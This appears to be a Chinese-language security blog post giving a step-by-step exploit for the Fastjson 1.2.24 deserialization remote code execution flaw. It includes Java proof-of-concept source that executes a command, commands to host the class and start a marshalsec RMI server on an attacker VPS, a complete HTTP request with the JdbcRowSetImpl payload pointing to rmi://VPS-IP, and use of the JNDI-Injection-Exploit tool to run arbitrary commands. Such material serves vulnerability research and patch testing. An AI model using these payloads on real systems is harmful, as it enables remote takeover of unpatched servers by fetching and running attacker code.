Fastjson 1.2.24 反序列化RCE

## 漏洞概述

Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞

Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链

## 影响范围

“`http
Fastjson <= 1.2.24 ``` ## POC 1、编译POC 将代码编写为class类文件,并将生成的类文件放在web目录下,启动web服务 ```java //POC.java import java.lang.Runtime; import java.lang.Process; public class POC { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"ping", "bnntoh.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` ```bash #编译 javac POC.java ``` ```bash #启动web服务 python3 -m http.server 8001 ``` 2、配置RMI环境 用marshalsec项目,启动一个RMI服务器,监听9999端口,并加载远程类 下载地址:https://github.com/mbechler/marshalsec 切换到marshalsec目录下使用maven进行打包, ```bash mvn clean package -DskipTests ``` 开启监听 ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://VPS-IP:8001/#POC" 9999 ``` 备注:http://xx.xx.xx.xx:9999/#POC 是放Java类的地址,类只要写名字即可,不需要加.class,其次类名前要加# 3、发送Payload ```http POST / HTTP/1.1 Host: 192.168.2.133:32768 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 167 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://VPS-IP:9999/POC", "autoCommit":true } } ``` ## EXP **使用相对简单的自动化工具** 对于JNDI注入POC,会使用到RmiServer或者LdapServer(在Jndi注入中Ldap比Rmi的条件限制少) [@welk1n(JNDI-Injection-Exploit)](https://github.com/welk1n/JNDI-Injection-Exploit) 需要VPS放行端口,此工具会自动打开监听端口 1、自动开启RMI和LDAP服务以及发布Exploit类 ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A "VPS-IP" ``` 2、Burp发送Payload(即POC中的第三步) [点我下载](/Gr33kLibrary/download_tool/68/)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容